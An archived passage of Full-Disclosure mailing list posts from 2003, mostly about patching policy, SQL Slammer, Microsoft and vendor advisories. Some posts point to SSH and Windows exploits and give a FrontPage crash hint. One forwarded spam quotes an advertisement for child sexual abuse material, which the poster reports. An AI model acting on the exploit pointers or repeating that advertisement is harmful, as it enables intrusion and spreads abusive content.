have more experience than you do.(http://www.utdallas.edu/~pauls/plsresume.html) Why don't you try listening instead of constantly being a nay sayer? I have a distaste for bugtraq and believe this list could become a complete surrogate for it if it were handled correctly. I have read this list for a long time, and have chosen not to get involved, however I think it is about time to stand up for a resource I consider valuable. In the past slogging through the discussion was bearable, however, times change. We MUST adapt lest we lose ALL those with clue. (People post for credit, if there is no-one here worth posting to, it is unlikely that they will post) -Josh * AVIEN Membership Requirements AVIEN Membership is restricted to professionals, working in organizations, and meeting the following criteria: They do not work for an organization that commercially sells or markets Anti-Virus software/hardware or related products They manage or are responsible for a user population in excess of 1500 (if you don't quite meet this requirement, please feel free to submit your application anyway - we'll take other factors into account, if warranted) They agree to abide by the group rules as described here and below. Specific AVIEN Terms and Conditions will also apply and members will understand that all violations will be dealt with by an elected Disciplinary Committee. Membership is at an individual level, not corporate. Membership does not imply endorsement in any shape or form of the organizations employing members. Mailing Lists - AVIEN members can subscribe to more than ten mailing lists, including: - AVI-EWS Alert: provides alert notifications (very low traffic) - AVI-EWS Advisory: provides updates on potential threats (low traffic) - AVI-EWS Virus Discuss: a forum to discuss viruses and other malware (medium-high traffic) - AVI-EWS Talk: talk about Anti-Virus topics in general (medium traffic) - AVI-EWS Vuln-Discuss: talk about security vulnerabilities which may be connected to malware (medium-low traffic) - Product certification: discussions on how to test and evaluate anti-malware products (low traffic) - Free tools: discussion on free software tools which can be used to fight malware (low traffic) - Cooperate: a list for discussing how we can work together to make it a safer computer world - SMB Lure tool: discussion on the SMB lure software tool which is used to track worms (the author of this tool participates). As well as a mailing list to discuss management of AV solutions and a number of AV product-specific lists.
Re: [Full-Disclosure] SSH Exploit Request
Thus spake Florian Weimer ([EMAIL PROTECTED]) [13/11/03 18:33]: > > > The last exploit for a critical vulnerability in OpenSSH is from 2001. > > > > > > > You might be helpful - in some /small/ way: > > > > Google for "gobbles" and "ssh" Bingo! > > This vulnerability is not critical; it only affected a fraction of all > deployed SSH systems. Yes, but if the vulnerability affects the original posters systems, then he has what he needs. It doesn't matter that his systems are a part of this fraction, it matters that they are vulnerable. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Feeding Stray Cats
I had given up on this thread as a loss, but I feel a bit of hope renewed. If you have posts to the announce list post to the open list, it will eliminate the issue of discussion. In this manner you allow those who don't have time to wade through all discussions to be able to weigh in on announcements at their leisure rather than slogging through 50+ posts a day. A similar model which worked well for this was the Attrition defacement list. Attrition.org had a government list which only sent out emails about .gov websites which many gov people had forwarded to their pagers, this would filter out the 300 other sites per day which were owned after the Unicode hole came out. The govt list posts were still sent to the full defacement list, it was just a nice method by which to filter it. If we could get someone to moderate announcements only (of which there are very few) or take announcements and cross post them to another announce only list, it would allow those who need the information in a timely fashion to get it, and be able to review and comment at a later date. Another option is to leave the announce list open, with the understanding that only announcements of a critical nature need be posted there, and that all other posts get posted to FD. I know I didn't need to read Paul's fight with morning wood, or the instruction of someone on how to return a firewall back to defaults (deny all). If people all replied to the posts with proper mail clients, I could just zip up the thread, but unfortunately there are some security professionals out there who don't know how to use their mail clients. If someone begins to abuse the announce list, deal with that topic at that point. Hopefully those who are subscribed would have enough common sense to not abuse the announce list. There IS a reason to change: You WILL drive away anyone with clue if we continue down the same track. My $.02 -Josh Stephen Clowater wrote: True, But the problem with the announce list is it does take away the disccusion of issues, which is what this list is about. The issue is it has been polluted with crap, and bitching about that crap (ie - This email ) and has deaparted from the breif, proffessional, meaningful discussions about security issues, to a form that resembles an IRC channel. The list really needs to be loosely moderated, at least for a while. I'm not sure how practical it is to do that, Len could comment more correctly on that point than myself, however, as for a open solution (ie - not moderated), I really do not have any clue on how it could be done. If anyone has an open solution, I think it should be posted to the list and cc'ed to Len. I think this is one off-topic disscusion that we need to have if full disclosure is to reamain a valid forum for discussing in a meaningful, restrained, and proffessional manner (pardon my spelling ) Steve ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] RE: SQL Slammer doing the rounds again?
"Jim Harrison (ISA)" <[EMAIL PROTECTED]> replied to "Harlan Carvey" <[EMAIL PROTECTED]>: [corrected for top-postingitis] > > While I fully agree w/ Jim's advice, one thing I'm > > still curious about...since we first saw Slammer...is > > this - Is there a valid business reason to expose UDP > > 1434 to the Internet? > > > > I've asked this before and not received any responses. > > > > If anyone has one, I'd love to hear it. Please > > refrain from the "maybes"...I'd like to hear valid > > reasons why this port is exposed. > > The simple answer is, "if the web app is properly designed, coded and > tested, there should be no reason to 'open a port' (apologies to TS) to > the SQL from the Internet. Isn't "should" kind of a "maybe"?? 8-) > > > Unfortunately, there are many folks who have queried the ISA newsgroups > and other ISA lists about how (not why) to allow inbound SQL connections > because many web designers haven't quite caught up to the idea that the > Internet isn't the friendly little sandbox that they seem to believe it > is. > > Consequently, they deploy distributed web apps that expect to have > direct access to a SQL server across whatever network they're installed > in. This often leaves the network admins with one choice; open external > access to the SQL server. > > While it's true that you can IP-restrict that traffic, there's also IP > spoofing to contend with. Many ISP's don't even apply the basic ACLs > that any first-year Cisco intern would have been taught, causing the > plethora of "I'm seeing spoof attack reports from 127.0.0.1" complaints > from many new ISA admins. If the upstream devices were properly > configured, their firewall (app, appliance, monkeys & buckets, etc.) > would never see this traffic in the first place. > > Understood, but I suspect that in Harlan's terms what you have just described is not "a valid business reason". "My developer is a petulant, ignorant brat" is not a valid business reason for doing something that is, from a security standpoint both chronically stupid and thoroughly indefensible. The real problem here though is that the "petulant, ignorant brats" hold too much power. They are (often) seen as "the experts" by the non- technical "I just want an e-commerce solution that works" business folk whose expertise is making widgets not computer security. Or the web designers may be seen as "creative geniuses" whose flashy, whizz-bang "design" would be compromised by even the suggestion from a mere mortal that some mundane, real-world consideration such as system security should be taken into account in the design. And there may well be other common "do not upset the designer/ implementer" reasons others have come across. This raises an intersting point for me though Jim -- which of those is the reason the MS web site as a whole, and the security-oriented parts of it in particular, are _entirely unusable_ for those who choose to vastly improve the security of their default MS-suplied web browser by disabling scripting? Or, put in security terms, why does MS require its users to lower "reasonable" security standards just to use its web site? Isn't that just like the web designers you have just ranted against expecting/requiring worldwide access to SQL servers? Actually it isn't, as this arrogance of Microsoft's affects hugely more (as in many orders of magnitude more) folk... > ..I feel better now... Good -- maybe you'll be up to kicking some MS web-designer butt down the hall... (Oh, and don't throw the "use trusted sites" thing back at me -- your employer has chosen to colo with Akamai which has already infected one of your web pages with Nimda, so we should trust "MS on Akamai" why? BTW, the ironic thing about this is that MS's security pages are _much_ easier to use with your competitor browsers...) Regards, Nick FitzGerald ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] SSH Exploit Request
Robert, > I do apologize for assuming those that do not do the appropriate research > and patching in a timely manner lazy, whereas its possibly the suits and > policy writers that are definitely more to blame. IMO, I would do the > patching as soon as I found the patched service suitable, and if I lost my > job, at least I know that's one more machine that was secure under my > control. This illustrates the conflict of being a systems and security professional and being an employed systems/security administrator/engineer/whatever. Your instinct to do what you know is in the best interests of protecting the resources (systems, applications, data) under your control is natural and certainly a necessary and admirable quality, however there is one critical overriding detail: You do not own the system. They do. Unless you define policy, own the systems, pay the bills or whatever gives you the real authority, the best you can do is to work to make sure that they are able to make the best, most informed decisions possible based on your expert advice. This includes details of systems security and threats, as well as policy and process. Try to improve the system from within - use the change control process, document issues, make sure you address your audiences in terms appropriate to them (which does not mean to "dumb down", but to accurately convey information which they can understand well enough to make decisions based in it). In the end, if you cannot accept the decisions made by them after you have made a genuine effort to address what you consider to be the serious issues affecting your duties and responsibilities, then you have the authority to find a better job. Either way, the reward in the end is when you get regularly asked, "What do you suggest?". > I'd rather tell a prospective employer that I was canned for taking > security precaustions then canned for having a critical machine comprimised. Presuming s/then/than/, the potential employer will be happier to hear that on more than one occasion you advised your management of the threat, provided solutions, worked with management to fix them problem then resigned after the systems were compromised because you felt your professional expertise was not being valued or used. -Andrew- -- ___ | -Andrew J. Caines- Unix Systems Engineer [EMAIL PROTECTED] | | "They that can give up essential liberty to obtain a little temporary | | safety deserve neither liberty nor safety" - Benjamin Franklin, 1759 | ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] SSH Exploit Request
Jeremiah Cornelius wrote: > > The last exploit for a critical vulnerability in OpenSSH is from 2001. > > > > You might be helpful - in some /small/ way: > > Google for "gobbles" and "ssh" Bingo! This vulnerability is not critical; it only affected a fraction of all deployed SSH systems. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] SSH Exploit Request
> -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of > Robert Davies > Sent: Thursday, November 13, 2003 2:46 PM > To: [EMAIL PROTECTED] > Cc: [EMAIL PROTECTED] > Subject: RE: [Full-Disclosure] SSH Exploit Request > > I do apologize for assuming those that do not do the > appropriate research and patching in a timely manner lazy, > whereas its possibly the suits and policy writers that are > definitely more to blame. IMO, I would do the patching as > soon as I found the patched service suitable, and if I lost > my job, at least I know that's one more machine that was > secure under my control. I'd rather tell a prospective > employer that I was canned for taking security precaustions > then canned for having a critical machine comprimised. > Your heart's in the right place, Robert, but you would have been canned for insubordination, *not* for taking security precautions, and any interviewer worth his salt would understand that as soon as you explained why you were fired. > Once again, my apologies for getting all worked up over this, > I just hate to see when suits slow down proper and prompt > security precautions and then cry about being comprimised > before they cut through the red tape. > They don't cry about it. They fire the very security people that were screaming at them for not patching in a timely manner, blaming them for not protecting the organization. And once in a great and wonderful while, they say, "You were right. How long did you say it would take to implement that solution?" Such is life in never-never land. If you *really* want to make a difference in security, you stay where you are, work within the rules and fight like a banshee for what you know is right. Then, when they finally "get it", you're a hero, because you've been saying "I told you so" for a very long time. Nothing worth having ever comes easy, and seldom is anything easy to get worth having. Paul Schmehl ([EMAIL PROTECTED]) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu/~pauls/ ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: AW: [Full-Disclosure] Using anonymizers to masquerade P2P use?
http://www.starbandusers.com/downloads/tcp2http33_setup.exe ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] SSH Exploit Request
Robert Davies wrote: > A service is flawed in one way or another, patch it! If the vendor says the > service is broke in some way, believe them, get off your lazy ass and get > patching. If you are the admin, do your job and quit whining! The OpenSSH maintainers lured Debian into distributing a vulnerable OpenSSH version by issuing a security advisory (the version distributed by Debian at that time was not vulnerable). I'm sorry, things aren't always as easy as you assume. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] SSH Exploit Request
> Carefully read the subtext in his note. He would like an exploit if > possible (or at least that's his claim) so that he can prove to someone > else that yes, it DOES need to be patched, right now. I.e. he's got a > boss with pointy hair that isn't cooperating. > > You don't have to believe his story. Having dealt with many bosses (my > own, or someone else's) exactly like that, I'm willing to entertain his > story. > > Calling the admin who wants to apply the patch, but isn't allowed to > without jumping through hoops, lazy or stupid doesn't help anyone. Uhm, if his boss is that way to an admin that's asked to secure a box/set of computers I personally wouldn't work there. There is too much on my head then. Your boss should respect what you say and what you know and allow you to do your job instead of wanting to do it himself. Anyhow, I personally don't want a DCOM For nix... Since I know of a LOT of boxes that haven't been patched yet. There is really no need for a 'box and shipped' version of the vuln. There is a whitepaper out... Go read it and figure it out yourself. Moo~ ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
AW: [Full-Disclosure] kievonline.org "were back"
Here seams to be a statement of kiveonline.org about this: http://www.kievonline.org/ -Ursprüngliche Nachricht- Von: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Im Auftrag von Maxime Ducharme Gesendet: Donnerstag, 13. November 2003 21:21 An: [EMAIL PROTECTED] Betreff: [Full-Disclosure] kievonline.org "were back" Another unpleasant spam from kievonline.org's hackers Received: from HPPAV.cpe.mtgry.al.charter.com [66.168.255.47] by cybergeneration.com [207.134.66.24] with SMTP (MDaemon.PRO.v5.0.4.R) for <[EMAIL PROTECTED]>; Thu, 13 Nov 2003 11:32:37 -0500 X-Server: Relay for kievonline.org (host) id 002341 Message-ID: <[EMAIL PROTECTED]> From: "admin" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Subject: were back Date: Thu, 13 Nov 2003 18:12:47 +0200 MIME-Version: 1.0 Content-Type: multipart/related; boundary="=_NextPart_000_0005_01C3AA11.BE2A3930"; type="multipart/alternative" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 This is a multi-part message in MIME format. --=_NextPart_000_0005_01C3AA11.BE2A3930 Content-Type: multipart/alternative; boundary="=_NextPart_001_0006_01C3AA11.BE2A3930" --=_NextPart_001_0006_01C3AA11.BE2A3930 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable http://www.kievonline.org/kievforum/login.php The only place for kiddy porn !! we have 3 gig, including the hottest shit in town !!! join now [EMAIL PROTECTED] --=_NextPart_001_000 ... It contains a very disgusting porn image. A notice have been sent to Charter about this. Ciao --- Maxime Ducharme Administrateur reseau, Programmeur ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] SSH Exploit Request
On Thu, 2003-11-13 at 13:19, [EMAIL PROTECTED] wrote: > On Thu, 13 Nov 2003 12:08:41 EST, Robert Davies <[EMAIL PROTECTED]> said: > > > I am quite bothered out the ass by well paid admins that are too damn lazy > > to spend the few minutes it takes to repair a flawed service. Either start > > doing your job, or get the hell out of the way for those of us that want to > > do the job required properly! > > Actually, the *original* problem was that the OP *wanted* to apply the patch > to fix a flawed service, but was prevented from doing so by a flawed policy. > > Now tell me - would *you* install the patch anyhow, knowing that (possibly) > doing so without all the change-control paperwork being done correctly > would mean your ass would be canned and you'd be looking for another job? "Change Control" paperwork is the bane of security folks. I have most often been on the network/firewall side of things and had been expected to block access at the network level to make up for slow patching from the sysadmin side. I was at least lucky enough to have a management chain that understood the importance of security enough to verbally approve any reasonable requests from our team on short notice. There is definitely a need for change control and regression testing. Especially when microsoft servers are concerned. Who hasn't seen a site go down or a computer bluescreen or something equally fatal to the system after a microsoft patch was applied? They obviously can't be bothered to test their software, so its up to users concerned with uptime to test it themselves before applying patches to production servers. But it really does take both sides to keep systems safe. Not everything can be filtered at the network level, and threats are not exclusively from "the internet". Unhappy employees or otherwise compromised machines can further exploit the internal network. -- Scott Taylor - <[EMAIL PROTECTED]> BOFH Excuse #209: Only people with names beginning with 'A' are getting mail this week (a la Microsoft) ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] Microsoft prepares security assault on Linux
You really need to know someone before you make such comments Jason. I've no reason to believe you have any insight into "the real reason that Microsoft has been nice to" me, beyond your own opinion. Can you honestly believe your *opinion* is the "real reason?" You certainly have no idea what I do for a living. "have they ever perceived you as a developer/book author/technical writer/purchasing agent/distributor/business partner/other for-profit commercial entity?" At one point or another over the past 17 years, I have been all of these in the eyes of various people at MS. I cast no aspersions on you and certainly didn't expect you to use trash to rebuke an honest alternative opinion. Shame, I used to make a point of reading your posts. Cheers, Russ - NTBugtraq Editor ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] local ListBox/ComboBox exploit for Win32 (MS03-045)
Hi! local ListBox/ComboBox exploit for Win32 (MS03-045): http://www.securitylab.ru/41258.html Created by xCrZx [EMAIL PROTECTED] ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] [RHSA-2003:325-01] Updated glibc packages provide security and bug fixes
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
- -
Red Hat Security Advisory
Synopsis: Updated glibc packages provide security and bug fixes
Advisory ID: RHSA-2003:325-01
Issue date:2003-11-12
Updated on:2003-11-13
Product: Red Hat Linux
Keywords: netlink getgrouplist
Cross references:
Obsoletes: RHSA-2003:212
CVE Names: CAN-2003-0689 CAN-2003-0859
- -
1. Topic:
Updated glibc packages that resolve vulnerabilities and address several bugs
are now available.
2. Relevant releases/architectures:
Red Hat Linux 7.1 - i386, i686
Red Hat Linux 7.2 - i386, i686, ia64
Red Hat Linux 7.3 - i386, i686
Red Hat Linux 8.0 - i386, i686
Red Hat Linux 9 - i386, i686
3. Problem description:
The glibc packages contain GNU libc, which provides standard system libraries.
A bug in the getgrouplist function can cause a buffer overflow if
the size of the group list is too small to hold all the user's groups.
This overflow can cause segmentation faults in user applications, which may
have security implications, depending on the application in question. This
vulnerability exists only when an administrator has placed a user in a
number of groups larger than that expected by an application. Therefore,
there is no risk in instances where users are members of few groups. The
Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned
the name CAN-2003-0689 to this issue.
Herbert Xu reported that various applications can accept spoofed messages
sent on the kernel netlink interface by other users on the local machine.
This could lead to a local denial of service attack. In Red Hat Linux 9
and later, the glibc function getifaddrs uses netlink and could therefore
be vulnerable to this issue. The Common Vulnerabilities and Exposures
project (cve.mitre.org) has assigned the name CAN-2003-0859 to this issue.
In addition to the security issues, a number of other bugs were fixed.
Users are advised to upgrade to these erratum packages, which contain a
patch that checks that netlink messages actually came from the kernel, a
backported security patch for the getgroups list vulnerability, and patches
for the various bug fixes.
[Update 2003-11-13]: The packages for Red Hat Linux 9 have been updated
for compatibility with kernels not provided by Red Hat.
4. Solution:
Before applying this update, make sure all previously released errata
relevant to your system have been applied.
To update all RPMs for your particular architecture, run the following
command at a shell prompt:
rpm -Fvh [filenames]
where [filenames] is a list of the RPMs you wish to upgrade. On the i686
architecture, *.i686.rpm packages should be installed where available
rather than *.i386.rpm.
If you are unsure which architecture you are on, run the following
command at a shell prompt:
rpm -q --qf '%{arch}\n' glibc
Only those RPMs which are currently installed will be updated. Those RPMs
which are not installed but included in the list will not be updated.
Note that you can also use wildcards (*.rpm) if your current directory
only contains the desired RPMs.
Please note that this update is also available via Red Hat Network. Many
people find this an easier way to apply updates. To use Red Hat Network,
launch the Red Hat Update Agent with the following command:
up2date
This will start an interactive process that will result in the appropriate
RPMs being upgraded on your system.
If up2date fails to connect to Red Hat Network due to SSL Certificate
Errors, you need to install a version of the up2date client with an updated
certificate. The latest version of up2date is available from the Red Hat
FTP site and may also be downloaded directly from the RHN website:
https://rhn.redhat.com/help/latest-up2date.pxt
5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info):
54697 - nscd locks immediately if started with -t 1 and nss_ldap is used
83973 - Wrong sort order for uk_UA locale
85994 - SIGSEGV in malloc: __morecore clobbered by perror conflict with _IO_check_libio
86032 - trailing spaces in /etc/ld.so.conf entries are not ignored
88409 - strxfrm() overruns buffer by indexing with uninitialized value
88456 - glibc-2.3.2-27.9.i686.rpm does not rpm -Fvh properly.
88978 - locale ja_JP.EUC-JP has two undefined bytes [buffer overrun]
89448 - getaddrinfo segv - unitialized structure?
90002 - binary compatibility for '_res' broken in glibc 2.3.x
90036 - race/deadlock in fork() with signal handler.
90077 - [EMAIL PROTECTED] corrupts memory arena by buffer overrun
90301 - Programs fail at exit if compiled with gcc and cxa_atexit
90987 - sprintf() is limited to 2^26 bytes.
91567 - setegid sets saved gid
97814 - "Incorrectly built binary which accesses errno..." message in elf/rtld.c needs
some way to be silenced.
97828 - Sudo
RE: [Full-Disclosure] Microsoft prepares security assault on Linux
Hello Jason, I'll start by saying that you're not in any way obligated to reply and I really don't care one way or the other as it's clear that you believe that your opinion is the only correct one and that I must have been "assimilated" by the "Evil Empire" that is Microsoft. The fact that you're a published writer in no way validates your statements about Microsoft, my employment or any inter-relationship therein and you would do well to leave that garbage out of any continued discussion. Your statement about "until you've published ..blah" is irrelevant to the discussion at hand. The document you linked is more opinion than fact and very nearly invalidates any technical value the remainder of the book might have had otherwise. As I said before; it's a shame that you had to present your research this way; any technical value is lost in the screams of "EEeeevil!" Later, * Jim Harrison MCP(NT4/2K), A+, Network+ Security Business Unit (ISA SE) "I used to hate writing assignments, but now I enjoy them. I realized that the purpose of writing is to inflate weak ideas, obscure poor reasoning, and inhibit clarity. With a little practice, writing can be an intimidating and impenetrable fog!" -Calvin -Original Message- From: Jason Coombs [mailto:[EMAIL PROTECTED] Sent: Thursday, November 13, 2003 10:57 To: Jim Harrison (ISA) Cc: [EMAIL PROTECTED]; [EMAIL PROTECTED] Subject: Re: [Full-Disclosure] Microsoft prepares security assault on Linux Aloha, Jim. What in particular makes it "immediately clear" to you why it was never published? Not publishing the book saves Microsoft from sending out conflicting messages when they launch new deceptive advertising campaigns like this one that will assert that Windows poses less of a security risk than does Linux: http://www.infoworld.com/article/03/11/11/HNmsassault_1.html I can assure you the introduction to my book was written when preparing the book for self-publication as a free electronic work and nothing that even closely resembles such direct and harsh criticism of Microsoft was to be found in the manuscript sans-Introduction as submitted to Microsoft for publication. Read a little more of the book if you'd like to get some idea of the prevailing tone and mood, which is nothing short of practical and optimistic. I realized that I had been seriously mistaken in my belief that it was reasonable and respectable to give Microsoft the benefit of the doubt and engage in commercial activities that support their abusive behaviors. Thus I consciously and intentionally changed the tone of my Introduction so that there could be no mistake as to my conclusions; the helpful and technically-accurate Microsoft technical material that I've authored notwithstanding. Just because I know about and have written about Microsoft products that does not mean that I support what they do and how they do it. You might reconsider the way that you portray your support for them, yourself, as part of your professional work. If you would like to debate my assertions, feel free to write back. Microsoft must be stopped. They are harmful and malicious. If you had a little more awareness of what they are and have been doing, and why, then I am certain you would be ashamed to have Microsoft decorations after your name. You realize, don't you, that you can be competent and have skills that are in-demand in the marketplace and still not be a Microsoft crony? You are aligning yourself with the wrong side when you lend PR/marketing/emotional support to Microsoft and its victims. Don't forget that the people you choose to support says a lot about who you are and why you do the things that you do... Reconsider supporting Microsoft; you can make a nice living and hold your certifications without aiding and abetting or lending solace to evildoers. After you write a book about Microsoft security and work for a while in computer forensics, talk to me again about whether or not your silent and tacit support for the company and its bad people sits well in your stomach. Sincerely, Jason Jim Harrison (ISA) wrote: > Having followed your link to the "book written under contract", it's > immediately clear why it was never published. > > I won't get into a debate about your assertions; just a reminder that > how you choose to express yourself is at least as important as what you > have to say. > > * Jim Harrison > MCP(NT4/2K), A+, Network+ > Security Business Unit (ISA SE) > > "I used to hate writing assignments, but now I enjoy them. > I realized that the purpose of writing is to inflate weak ideas, > obscure poor reasoning, and inhibit clarity. > With a little practice, writing can be an intimidating and > impenetrable fog!" > -Calvin > ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] new worm - "warm-pussy.jpg".
Funny thing is is that warm-pussy.jpg is just a directory name. Does anyone here know what file your browser would attempt to access if you type a url of a non existant file? Yes thats right... http://gibsonhaxor.tv/warm-pussy.jpg/index.html Jason - Original Message - From: "Gadi Evron" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Thursday, November 13, 2003 2:08 AM Subject: Re: [Full-Disclosure] new worm - "warm-pussy.jpg". > segfault wrote: > > > You idiot. Just because a file is called warm-pussy.jpg, doesn't mean that > > the webserver it resides on isn't going to parse it's actual content (which > > is probably plaintext). Look again, I'm sure you'll be surprised. > > > > HTML _is_ plain-text. > Just because the server sends it as plain text doesn't mean the browser > won't execute it. > > It does. > > This *is* a Trojan horse. > > Do you have anything real to contribute or are you just going to call a > guy that raised the alarm of a _possible_ new dangerous Trojan hourse names? > -- >Gadi Evron (i.e. ge), >[EMAIL PROTECTED] > > The Trojan Horses Research mailing list - http://ecompute.org/th-list > > My resume (Hebrew) - http://vapid.reprehensible.net/~ge/resume.rtf > > PGP key for [EMAIL PROTECTED] - > http://vapid.reprehensible.net/~ge/Gadi_Evron.asc > Note: this key is used mainly for files and attachments, I sign email > messages using: > http://vapid.reprehensible.net/~ge/Gadi_Evron_sign.asc > > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] SRT2003-11-13-0218 - PCAnywhere local SYSTEM exploit
Secure Network Operations, Inc. http://www.secnetops.com/research Strategic Reconnaissance Team [EMAIL PROTECTED] Team Lead Contact [EMAIL PROTECTED] Our Mission: Secure Network Operations offers expertise in Networking, Intrusion Detection Systems (IDS), Software Security Validation, and Corporate/Private Network Security. Our mission is to facilitate a secure and reliable Internet and inter-enterprise communications infrastructure through the products and services we offer. To learn more about our company, products and services or to request a demo of ANVIL FCS please visit our site at http://www.secnetops.com, or call us at: 978-263-3829 Quick Summary: Advisory Number : SRT2003-11-13-0218 Product : Symantec PCAnywhere Version : 10.x and 11.x Vendor : http://www.symantec.com/pcanywhere/ Class : Local Criticality : High (to PCAnywhere users) Operating System(s) : Win32 Notice The full technical details of this vulnerability can be found at: http://www.secnetops.com under the research section. Basic Explanation High Level Description : PCAnywhere allows local users to become SYSTEM What to do : run LiveUpdate and apply latest patches. Basic Technical Details Proof Of Concept Status : SNO has proof of concept. Low Level Description : PCAnywhere is an industry-leading remote control software that features remote management paired with file transfer capabilities. PCAnywhere has the ability to help quickly resolve helpdesk and server support issues. When PCAnywhere is started as a service or set to launch with windows an attacker may be able to take SYSTEM rights via the help interface. AWHOST32.exe runs as the user SYSTEM while interacting with the local desktop on the machine that PCAnywhere is listening. Users have the ability to interact with AWHOST32 via an icon in the Windows systray. Brett Moore of security-assessment.com pointed out a flaw in the Win32 help API which can be found at http://www.securityfocus.com/bid/8884 . A variation of this attack is present in both PCAnywhere 10 and 11. It is unknown how this issue affects older versions of PCAnywhere since they are no longer supported products. full details at http://www.secnetops.biz/research/SRT2003-11-13-0218.txt Vendor Status : Symantec promptly attended to the issue and was very responsive during all phases of discovery / research and patching. Fixes are now available via LiveUpdate. Bugtraq URL : To be assigned. CVE candidate CAN-2003-0936. Disclaimer -- This advisory was released by Secure Network Operations,Inc. as a matter of notification to help administrators protect their networks against the described vulnerability. Exploit source code is no longer released in our advisories but can be obtained under contract.. Contact our sales department at [EMAIL PROTECTED] for further information on how to obtain proof of concept code. -- Secure Network Operations, Inc. || http://www.secnetops.com "Embracing the future of technology, protecting you."
Re[2]: [Full-Disclosure] Frontpage Extensions Remote Command Execution
Hello Nick, Thursday, November 13, 2003, 3:14:40 AM, you wrote: NJ> Has anyone even had any luck reproducing this? I can't for the life of NJ> me get a crash... NJ> -Original Message- NJ> From: Geo. NJ> Sent: Wed 11/12/2003 11:41 AM NJ> To: [EMAIL PROTECTED] NJ> Cc: NJ> Subject: RE: [Full-Disclosure] Frontpage Extensions Remote NJ> Command Execution NJ> >> NJ> Well, for one, it's not root level. It allows ANONYMOUS (Guest) NJ> access NJ> << NJ> No it's not, IWAM is Web Applications MANAGER account you were NJ> thinking of NJ> IUSR perhaps? This is not guest. This account can change NJ> websites so in a NJ> multi host environment this level of access will allow a NJ> compromise of every NJ> website on the server. NJ> Geo. (I'd call that root) NJ> ___ NJ> Full-Disclosure - We believe in it. NJ> Charter: http://lists.netsys.com/full-disclosure-charter.html What i learned from this overflow was that there is a difference between sending 500 'A's and sending 500 'X's. sending 500 'A' even more doesn't trigger access violation on dllhost process. however if u send 500 'X's u'll get acces violation. well at least thats what i noticed. maybe i'm wrong. so sometimes sendin different strings might generate different results. -- Best regards, Adikmailto:[EMAIL PROTECTED] ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] PGP signed mail? Has to be spam!
[EMAIL PROTECTED] wrote: The problem stays the same. The implication of my experience(and several of the list replies here) are: If you want your mails to be delivered, abandon crypto. I do not like that at all. You shouldn't, because that removes authentication without guaranteeing delivery. It is therefore obviously the wrong thing to do. pgp0.pgp Description: PGP signature
RE: [Full-Disclosure] SSH Exploit Request
> -Original Message- **snip** > Actually, the *original* problem was that the OP *wanted* to > apply the patch to fix a flawed service, but was prevented > from doing so by a flawed policy. > > Now tell me - would *you* install the patch anyhow, knowing > that (possibly) doing so without all the change-control > paperwork being done correctly would mean your ass would be > canned and you'd be looking for another job? That is dependant on the seriousness taken to network security. I for one feel that the less time a vulnerable service is open, the less time someone can move in and exploit it. I know, I may sound like a dick, but when it comes down to it, after testing the patch on a non-production machine and verification that the service is working properly, that is all the time needed to patch a flawed service. Maybe in large corporate environments, all the restrictions and flawed policies cause more problems then needed, but in that case, I really would not want to see them cry that they have been comprimised because they take their time with paperwork. I feel I would rather justify downing a service for one minute then having to explain why the system has to be taken offline for a few days while the drive is cloned and an attack is researched. I do apologize for assuming those that do not do the appropriate research and patching in a timely manner lazy, whereas its possibly the suits and policy writers that are definitely more to blame. IMO, I would do the patching as soon as I found the patched service suitable, and if I lost my job, at least I know that's one more machine that was secure under my control. I'd rather tell a prospective employer that I was canned for taking security precaustions then canned for having a critical machine comprimised. Once again, my apologies for getting all worked up over this, I just hate to see when suits slow down proper and prompt security precautions and then cry about being comprimised before they cut through the red tape. RKD ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] SSH Exploit Request
